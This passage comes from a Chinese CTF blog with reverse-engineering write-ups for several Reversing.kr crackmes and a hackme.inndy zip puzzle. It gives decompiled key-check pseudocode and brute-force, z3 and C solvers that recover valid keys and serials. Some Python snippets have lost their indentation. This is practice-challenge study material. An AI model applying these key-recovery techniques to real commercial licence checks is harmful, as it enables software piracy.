    0, 133, 143, 10, 155, 30, 20, 145, 179, 54, 60, 185, 40, 173, 167, 34, 102, 227, 233, 108, 253, 120, 114, 247, 213, 80, 90, 223, 78, 203, 193, 68, 73, 204, 198, 67, 210, 87, 93, 216, 250, 127, 117, 240, 97, 228, 238, 107, 47, 170, 160, 37, 180, 49, 59, 190, 156, 25, 19, 150, 7, 130, 136, 13, 146, 23, 29, 152, 9, 140, 134, 3, 33, 164, 174, 43, 186, 63, 53, 176, 244, 113, 123, 254, 111, 234, 224, 101, 71, 194, 200, 77, 220, 89, 83, 214, 219, 94, 84, 209, 64, 197, 207, 74, 104, 237, 231, 98, 243, 118, 124, 249, 189, 56, 50, 183, 38, 163, 169, 44, 14, 139, 129, 4, 149, 16, 26, 159, 36, 161, 171, 46, 191, 58, 48, 181, 151, 18, 24, 157, 12, 137, 131, 6, 66, 199, 205, 72, 217, 92, 86, 211, 241, 116, 126, 251, 106, 239, 229, 96, 109, 232, 226, 103, 246, 115, 121, 252, 222, 91, 81, 212, 69, 192, 202, 79, 11, 142, 132, 1, 144, 21, 31, 154, 184, 61, 55, 178, 35, 166, 172, 41, 182, 51, 57, 188, 45, 168, 162, 39, 5, 128, 138, 15, 158, 27, 17, 148, 208, 85, 95, 218, 75, 206, 196, 65, 99, 230, 236, 105, 248, 125, 119, 242, 255, 122, 112, 245, 100, 225, 235, 110, 76, 201, 195, 70, 215, 82, 88, 221, 153, 28, 22, 147, 2, 135, 141, 8, 42, 175, 165, 32, 177, 52, 62, 187
};

ll encrypt(ll k, uc pd[4])
{
    for(int i=0;i<4;i++)
    {
        s[i*16] = pd[i];
    }
    for(int i=0;i<64;i++)
    {
        uc t = (k&0xff)^s[i];
        k = k >> 8;
        k = k ^ dword_4085E8[t];
    }
    return k;
}

ll decrypt(ll k, uc pd[4])
{
    for(int i=0;i<4;i++)
    {
        s[i*16+64] = pd[i];
    }
    for(int i=255;i>=64;i--)
    {
        uc t = reverse_i[k>>56];

        k = k ^ dword_4085E8[t];
    k = (k << 8) + (s[i]^t);
    }
    return k;
}

void test()
{
    ll k = 0xADAB87822F5AF097;
    for(int i=255;i>=113;i--)
    {
        uc t = reverse_i[k>>56];
        
        k = k ^ dword_4085E8[t];
        k = (k << 8 ) + (s[i]^t);
        printf("%d %u %llx\n",i,t,k);
    }
    return ;
}

ll testEncrypt(ll k, uc p[8])
{
    for(int i=0;i<8;i++)
    {
        s[i*16] = p[i];
    }
    for(int i=0;i<256;i++)
    {
        uc t = (k&0xff)^s[i];
        k = k >> 8;
        k = k ^ dword_4085E8[t];
    }
    return k;
}

int mycmp(const void *p1, const void *p2)
{
    res *a = (res*)p1;
    res *b = (res*)p2;
    //printf("%llx %llx\n",(long long)(a->v),(long long)(b->v));
    //printf("%d\n",(a->v)>(b->v));
    return (a->v)>(b->v);

}

int main()
{
    ll new_key = 0x5416B1679DB69FC3;
    ll fff = 0xFFFFFFFF;
    ll num = 0;

    //uc p[8]="12345678";
    //printf("%llx\n",testEncrypt(0,p));
    //printf("%d\n",decrypt(0xADAB87822F5AF097,p));
    //test();
    
    //FILE *fpWrite=fopen("result1.txt","w");  
    for(uc i=32;i<127;i++)
    {
        for(uc j=32;j<127;j++)
        {
            for(uc k=32;k<127;k++)
            {
                for(uc h=32;h<127;h++)
                {
                    uc p[4] = {i,j,k,h};
                    
                    printf("[e] %d\n",num);
                    
                    strcpy(result1[num].ss, p);
                    result1[num++].v = encrypt(0,p);
                    //fprintf(fpWrite,"%llx ",result1[num-1]);
                }
            }
        }
    }
    //fclose;
    qsort(result1, num, sizeof(res), mycmp);

    num = 0;
    //FILE *fpWrite=fopen("result2.txt","w");  
    for(uc i=32;i<127;i++)
    {
        for(uc j=32;j<127;j++)
        {
            for(uc k=32;k<127;k++)
            {
                for(uc h=32;h<127;h++)
                {
                    new_key = 0x676F5F675F695F6C;
                    uc p[4] = {i,j,k,h};

                    printf("[d] %d\n",num);
                    strcpy(result2[num].ss, p);
                    result2[num++].v = decrypt(new_key,p);
                    //fprintf(fpWrite,"%llx ",result2[num-1]);  
                }
            }
        }
    }
    //fclose(fpWrite);
    qsort(result2, num, sizeof(res), mycmp);

    int a=0, b=0;
    while( a < num && b < num )
    {
        printf("%llx %llx\n",result1[a].v,result2[b].v);
        if( result1[a].v == result2[b].v )
        {
            for(int i=0;i<4;i++)
                putchar(result1[a].ss[i]);
            for(int i=0;i<4;i++)
                putchar(result2[b].ss[i]);
            printf("\n");
            break;
        }
        else if( result1[a].v < result2[b].v ) a++;
        else b++;
    }

    return 0;
}

Reversing-Kr HateIntel Writeup

2019-11-29T08:35:05.000Z

题目及脚本
调了一天的Twist1没调出来，我好菜。
刚看到这题也挺多人做的就下下来看了看，发现之前好像见过。。。
（好像去信工所ctf机试的时候有道re和这题一模一样，就数据改了

解题思路

题目是一个mach架构的文件，通过ida32位可以打开。

程序逻辑非常简单，输入key，经过加密函数后与一串数据进行比较，相同输出Correct Key!。

主函数伪码如下

int sub_2224()
{
  char input; // [sp+4h] [bp-5Ch]
  int round; // [sp+54h] [bp-Ch]
  int v3; // [sp+58h] [bp-8h]
  int i; // [sp+5Ch] [bp-4h]
  char vars0; // [sp+60h] [bp+0h]

  round = 4;
  printf("Input key : ");
  scanf("%s", &input);
  v3 = strlen(&input);
  encrypt((signed __int32)&input, round);
  for ( i = 0; i < v3; ++i )
  {
    if ( *(&vars0 + i - 92) != data[i] )
    {
      puts("Wrong Key! ");
      return 0;
    }
  }
  puts("Correct Key! ");
  return 0;
}

encrypt函数伪码如下，key就是经过了4轮的循环左移变换。

signed __int32 __fastcall encrypt(signed __int32 result, int a2)
{
  int round; // [sp+0h] [bp-14h]
  char *v3; // [sp+4h] [bp-10h]
  int i; // [sp+8h] [bp-Ch]
  signed __int32 j; // [sp+Ch] [bp-8h]

  v3 = (char *)result;
  round = a2;
  for ( i = 0; i < round; ++i )
  {
    for ( j = 0; ; ++j )                        // for j in range(len(input))
    {
      result = strlen(v3);
      if ( result <= j )
        break;
      v3[j] = cycle_left(v3[j], 1);
    }
  }
  return result;
}

cycle_left函数伪码如下

int __fastcall cycle_left(unsigned __int8 a1, int a2)
{
  int v3; // [sp+8h] [bp-8h]
  int i; // [sp+Ch] [bp-4h]

  v3 = a1;
  for ( i = 0; i < a2; ++i )
  {
    v3 *= 2;
    if ( v3 & 0x100 ) // 大于等于0x100即256时，加一
      v3 |= 1u;
  }
  return (unsigned __int8)v3; // 返回值&0xff，控制在0-256之间
}

解题脚本

data = [0x44, 0xF6, 0xF5, 0x57, 0xF5, 0xC6, 0x96, 0xB6, 0x56, 0xF5,
  0x14, 0x25, 0xD4, 0xF5, 0x96, 0xE6, 0x37, 0x47, 0x27, 0x57,
  0x36, 0x47, 0x96, 0x03, 0xE6, 0xF3, 0xA3, 0x92]
flag = [ ((i&0xf)<<4)+(i>>4) for i in data]
print ''.join(map(chr,flag)

Reversing-Kr Multiplicative Writeup

2019-11-28T08:22:23.000Z

题目及脚本

解题思路

题目是个jar文件，用jadx打开可以看到伪码。

package defpackage;

public class JavaCrackMe {
    public static final synchronized /* bridge */ /* synthetic */ void main(String... strArr) {
        synchronized (JavaCrackMe.class) {
            try {
                System.out.println("Reversing.Kr CrackMe!!");
                System.out.println("-----------------------------");
                System.out.println("The idea came out of the warsaw's crackme");
                System.out.println("-----------------------------\n");
                if (Long.decode(strArr[0]).longValue() * 26729 == -1536092243306511225L) {
                    System.out.println("Correct!");
                } else {
                    System.out.println("Wrong");
                }
            } catch (Exception e) {
                System.out.println("Please enter a 64bit signed int");
            }
        }
    }
}

关键在于Long.decode(strArr[0]).longValue() * 26729 == -1536092243306511225L.

输入为64位的符号整数，乘上26729后要等于-1536092243306511225，但通过计算发现-1536092243306511225%26729 != 0。

于是需要通过溢出的方式达到目的。

-1536092243306511225的16进制表示为0xeaaeb43e477b8487L。也就是说输入的数乘上26729后的16进制应为0x*eaaeb43e477b8487，*代表不限长度的16进制数。

于是爆破*即可。

解题脚本

爆破*的代码如下。

>>> -1536092243306511225&0xffffffffffffffff
16910651830403040391L
>>> hex(_)
'0xeaaeb43e477b8487L'
>>> from decimal import Decimal
>>> for i in range(0x10000):
...     t = Decimal(i<<64) + 0xeaaeb43e477b8487L
...     if t % 26729 == 0:
...             print t
...
253087792599051741660295
746150814945234346804359
>>> 253087792599051741660295%26729
0L
>>> 253087792599051741660295/26729
9468659231510783855L

生成longlong及验证结果的代码如下。

#include
int main()
{
long long a;
a = 9468659231510783855;

printf("%lld %lld\n",a,a*26729);
return 0;
 }

可以看到结果等于-1536092243306511225。

Reversing-Kr x64-Lotto Writeup

2019-11-28T06:35:03.000Z

题目及脚本

ida debug真香！！！

解题思路

题目名为Lotto，意思是赌博，64位exe，用ida打开瞅瞅。

关键伪码如下

  v0 = time64(0i64); // 获取当前时间戳
  srand(v0); // 生成种子
  do
  {
    wprintf(L"\n\t\tL O T T O\t\t\n\n");
    wprintf(L"Input the number: ");
    wscanf_s(L"%d %d %d %d %d %d", &v13, &v14, &v15, &v16, &v17, &v18); // 输入6个数字
    wsystem(L"cls");
    Sleep(0x1F4u);
    v1 = 0i64;
    do
      *(&v18 + ++v1) = rand() % 100; // 生成随机数
    while ( v1 < 6 ); // 六个随机数
    v2 = 1;
    v3 = 0;
    v4 = 0i64;
    byte_7FF6A18235F0 = 1;
    while ( *(int *)((char *)&v19 + v4) == *(int *)((char *)&v13 + v4) ) // 判断输入与随机数是否相等
    {
      v4 += 4i64;
      ++v3;
      if ( v4 >= 24 ) // 全部相等则解密，输出password
        goto LABEL_9;
    }
    v2 = 0;
    byte_7FF6A18235F0 = 0;
LABEL_9:
    ;
  }
  while ( v3 != 6 );

Reversing-Kr position Writeup

2019-11-25T09:33:58.000Z

题目描述

题目文件及脚本
ReversingKr KeygenMe
Find the Name when the Serial is 76876-77776
This problem has several answers.
Password is ***p

解题思路

这题的逻辑挺简单，name的约束是需为a-z的字符，然后对name的每个字节的前五位（因为a-z的前三位都是011）经过一些运算（加法）后与serial进行比较。

关键函数的伪码如下

signed int __stdcall sub_401740(int a1)
{
  int v1; // edi
  int v3; // esi
  int v4; // esi
  __int16 v5; // bx
  unsigned __int8 v6; // al
  unsigned __int8 name_first_1bit; // ST2C_1
  unsigned __int8 v8; // al
  unsigned __int8 name_second_3bit; // bl
  wchar_t *v10; // eax
  __int16 v11; // di
  wchar_t *v12; // eax
  __int16 v13; // di
  wchar_t *v14; // eax
  __int16 v15; // di
  wchar_t *v16; // eax
  __int16 v17; // di
  wchar_t *v18; // eax
  __int16 v19; // di
  unsigned __int8 v20; // al
  unsigned __int8 name_third_1bit; // ST2C_1
  unsigned __int8 v22; // al
  unsigned __int8 name_fourth_3bit; // bl
  wchar_t *v24; // eax
  __int16 v25; // di
  wchar_t *v26; // eax
  __int16 v27; // di
  wchar_t *v28; // eax
  __int16 v29; // di
  wchar_t *v30; // eax
  __int16 v31; // di
  wchar_t *v32; // eax
  __int16 v33; // si
  unsigned __int8 name_second_1bit; // [esp+10h] [ebp-28h]
  unsigned __int8 name_fourth_1bit; // [esp+10h] [ebp-28h]
  unsigned __int8 name_second_2bit; // [esp+11h] [ebp-27h]
  unsigned __int8 name_fourth_2bit; // [esp+11h] [ebp-27h]
  unsigned __int8 name_second_4bit; // [esp+13h] [ebp-25h]
  unsigned __int8 name_fourth_4bit; // [esp+13h] [ebp-25h]
  unsigned __int8 name_second_5bit; // [esp+14h] [ebp-24h]
  unsigned __int8 name_fourth_5bit; // [esp+14h] [ebp-24h]
  unsigned __int8 name_first_2bit; // [esp+19h] [ebp-1Fh]
  unsigned __int8 name_third_2bit; // [esp+19h] [ebp-1Fh]
  unsigned __int8 name_first_3bit; // [esp+1Ah] [ebp-1Eh]
  unsigned __int8 name_third_3bit; // [esp+1Ah] [ebp-1Eh]
  unsigned __int8 name_first_4bit; // [esp+1Bh] [ebp-1Dh]
  unsigned __int8 name_third_4bit; // [esp+1Bh] [ebp-1Dh]
  unsigned __int8 name_first_5bit; // [esp+1Ch] [ebp-1Ch]
  unsigned __int8 name_third_5bit; // [esp+1Ch] [ebp-1Ch]
  int name; // [esp+20h] [ebp-18h]
  int serial; // [esp+24h] [ebp-14h]
  char v52; // [esp+28h] [ebp-10h]
  int v53; // [esp+34h] [ebp-4h]

  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&name);
  v1 = 0;
  v53 = 0;
  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&serial);
  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v52);
  LOBYTE(v53) = 2;
  CWnd::GetWindowTextW(a1 + 304, &name);
  if ( *(_DWORD *)(name - 12) == 4 )
  {
    v3 = 0;
    while ( (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&name, v3) >= 0x61u
         && (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&name, v3) <= 0x7Au )
    {
      if ( ++v3 >= 4 )
      {
LABEL_7:
        v4 = 0;
        while ( 1 )
        {
          if ( v1 != v4 )
          {
            v5 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&name, v4);
            if ( (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&name, v1) == v5 )
              goto LABEL_2;
          }
          if ( ++v4 >= 4 )
          {
            if ( ++v1 < 4 )
              goto LABEL_7;
            CWnd::GetWindowTextW(a1 + 420, &serial);
            if ( *(_DWORD *)(serial - 12) == 11
              && (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 5) == 0x2D )
            {
              v6 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&name, 0);
              name_first_1bit = (v6 & 1) + 5;
              name_first_5bit = ((v6 >> 4) & 1) + 5;
              name_first_2bit = ((v6 >> 1) & 1) + 5;
              name_first_3bit = ((v6 >> 2) & 1) + 5;
              name_first_4bit = ((v6 >> 3) & 1) + 5;
              v8 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&name, 1);
              name_second_1bit = (v8 & 1) + 1;
              name_second_5bit = ((v8 >> 4) & 1) + 1;
              name_second_2bit = ((v8 >> 1) & 1) + 1;
              name_second_3bit = ((v8 >> 2) & 1) + 1;
              name_second_4bit = ((v8 >> 3) & 1) + 1;
              v10 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
              itow_s(name_first_1bit + name_second_3bit, v10, 0xAu, 10);
              v11 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0);
              if ( (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 0) == v11 )
              {
                ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                v12 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                itow_s(name_first_4bit + name_second_4bit, v12, 0xAu, 10);
                v13 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 1);
                if ( v13 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                {
                  ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                  v14 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                  itow_s(name_first_2bit + name_second_5bit, v14, 0xAu, 10);
                  v15 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 2);
                  if ( v15 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                  {
                    ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                    v16 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                    itow_s(name_first_3bit + name_second_1bit, v16, 0xAu, 10);
                    v17 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 3);
                    if ( v17 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                    {
                      ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                      v18 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                      itow_s(name_first_5bit + name_second_2bit, v18, 0xAu, 10);
                      v19 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 4);
                      if ( v19 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                      {
                        ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                        v20 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&name, 2);
                        name_third_1bit = (v20 & 1) + 5;
                        name_third_5bit = ((v20 >> 4) & 1) + 5;
                        name_third_2bit = ((v20 >> 1) & 1) + 5;
                        name_third_3bit = ((v20 >> 2) & 1) + 5;
                        name_third_4bit = ((v20 >> 3) & 1) + 5;
                        v22 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&name, 3);
                        name_fourth_1bit = (v22 & 1) + 1;
                        name_fourth_5bit = ((v22 >> 4) & 1) + 1;
                        name_fourth_2bit = ((v22 >> 1) & 1) + 1;
                        name_fourth_3bit = ((v22 >> 2) & 1) + 1;
                        name_fourth_4bit = ((v22 >> 3) & 1) + 1;
                        v24 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                        itow_s(name_third_1bit + name_fourth_3bit, v24, 0xAu, 10);
                        v25 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 6);
                        if ( v25 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                        {
                          ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                          v26 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                          itow_s(name_third_4bit + name_fourth_4bit, v26, 0xAu, 10);
                          v27 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 7);
                          if ( v27 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                          {
                            ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                            v28 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                            itow_s(name_third_2bit + name_fourth_5bit, v28, 0xAu, 10);
                            v29 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 8);
                            if ( v29 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                            {
                              ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                              v30 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                              itow_s(name_third_3bit + name_fourth_1bit, v30, 0xAu, 10);
                              v31 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 9);
                              if ( v31 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                              {
                                ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                                v32 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&v52);
                                itow_s(name_third_5bit + name_fourth_2bit, v32, 0xAu, 10);
                                v33 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&serial, 10);
                                if ( v33 == (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&v52, 0) )
                                {
                                  ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&v52, -1);
                                  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v52);
                                  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&serial);
                                  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&name);
                                  return 1;
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
            goto LABEL_2;
          }
        }
      }
    }
  }
LABEL_2:
  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v52);
  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&serial);
  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&name);
  return 0;
}

一些api的说明如下

itow_s(name_first_4bit + name_second_4bit, v12, 0xAu, 10)
将第一个参数转成10进制的数字，比如参数为6，得到的结果就是字符6。
ATL::CSimpleStringT::GetAt(&serial, 6)
取serial的第7个字符。

解题脚本

这里用z3约束器进行求解。

from z3 import *

correct = [7,6,8,7,6,7,7,7,7,6]
a = BitVec('a',8)
b = BitVec('b',8)
c = BitVec('c',8)
d = BitVec('d',8)

name_first_1bit = (a & 1) + 5
name_first_5bit = ((a >> 4) & 1) + 5
name_first_2bit = ((a >> 1) & 1) + 5
name_first_3bit = ((a >> 2) & 1) + 5
name_first_4bit = ((a >> 3) & 1) + 5

name_second_1bit = (b & 1) + 1
name_second_5bit = ((b >> 4) & 1) + 1
name_second_2bit = ((b >> 1) & 1) + 1
name_second_3bit = ((b >> 2) & 1) + 1
name_second_4bit = ((b >> 3) & 1) + 1  

name_third_1bit = (c & 1) + 5
name_third_5bit = ((c >> 4) & 1) + 5
name_third_2bit = ((c >> 1) & 1) + 5
name_third_3bit = ((c >> 2) & 1) + 5
name_third_4bit = ((c >> 3) & 1) + 5

name_fourth_1bit = (d & 1) + 1
name_fourth_5bit = ((d >> 4) & 1) + 1
name_fourth_2bit = ((d >> 1) & 1) + 1
name_fourth_3bit = ((d >> 2) & 1) + 1
name_fourth_4bit = ((d >> 3) & 1) + 1 

x = Solver()
x.add( And(a >= ord('a'), a <= ord('z')) )
x.add( And(b >= ord('a'), b <= ord('z')) )
x.add( And(c >= ord('a'), c <= ord('z')) )
x.add( And(d >= ord('a'), d <= ord('z')) )

x.add( (name_first_1bit + name_second_3bit) == correct[0] )
x.add( (name_first_4bit + name_second_4bit) == correct[1] )
x.add( (name_first_2bit + name_second_5bit) == correct[2] )
x.add( (name_first_3bit + name_second_1bit) == correct[3] )
x.add( (name_first_5bit + name_second_2bit) == correct[4] )

x.add( (name_third_1bit + name_fourth_3bit) == correct[5] )
x.add( (name_third_4bit + name_fourth_4bit) == correct[6] )
x.add( (name_third_2bit + name_fourth_5bit) == correct[7] )
x.add( (name_third_3bit + name_fourth_1bit) == correct[8] )
x.add( (name_third_5bit + name_fourth_2bit) == correct[9] )

while x.check() == sat:
flag = chr(x.model()[a].as_long()) + chr(x.model()[b].as_long()) + chr(x.model()[c].as_long()) + chr(x.model()[d].as_long())
if flag[-1] == 'p':
print flag
x.add( Or( a!=x.model()[a].as_long(), b!=x.model()[b].as_long(), c!= x.model()[c].as_long(), d!= x.model()[d].as_long() ) )

'''
ftmp
gpmp
bump
cqmp
'''

hackme.inndy.tw Misc zipfile Writeup

2019-11-23T06:03:33.000Z

最近在摸鱼，在hackme inndy的网站上做了一道有点意思的misc，这里记录一下解题过程，不放flag。
题目文件及exp

#	Type	Name	Points	Solved	Description
14	Misc	[Solved] zipfile	100	3	Unzip this file

0x01 unzip zipfile

首先看下题目给的文件，是个zip压缩包，里面嵌套了很多层zip，手动解压是不太可能的。

这里我写了个简单的shell脚本，文件input内容为y，因为解压过程中文件名一样会将原文件覆盖。

通过ls -l查看压缩包大小判断是否解压完毕。

while :
do
unzip zipfile.zip < input
ls zipfile.zip -l
done

过程如下图，可以看到有个文件大小变大的突变，这时停止脚本。

得到一个大小为2465252B的压缩包。

0x02 处理zipfile.zip

用010editor解析压缩包，看到包含500多个文件。

尝试解压会发现这个解压后的文件名很骚，极长而且带有斜杠于是被当成目录结构，例子如下，并且有重复文件名出现。

ELF0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/1/1/1/0/0/0/1ÿPK

查看该文件类型会发现它也是个zip包，并且解压后的文件也是个zip包。

看到该压缩包里有三个文件，并且文件名相同，为X/O/R/_/T/H/E/S/E/_/F/I/L/E/S，提示我们异或这些文件。

查看文件内容，如下。

0x03 编写exp

经过前两步的尝试，我们发现文件zipfile.zip中有很多个文件，命名以8位二进制为基础进行变化。其中的文件也是一个zip包，并且解压后还是一个zip包，该zip包中含有几个文件，需要进行异或操作。

那么思路就很清晰了，需要注意的是8位二进制文件那里有重名的文件，不要漏了。

import os
import zipfile
from copy import copy

nowdir = '/root/Desktop/test/zipfile.zip'
targetzfile = zipfile.ZipFile(nowdir,'r')
flag = ''

for i in range(256):

# 0 -> 00000000
targetName = bin(i)[2:].zfill(8)
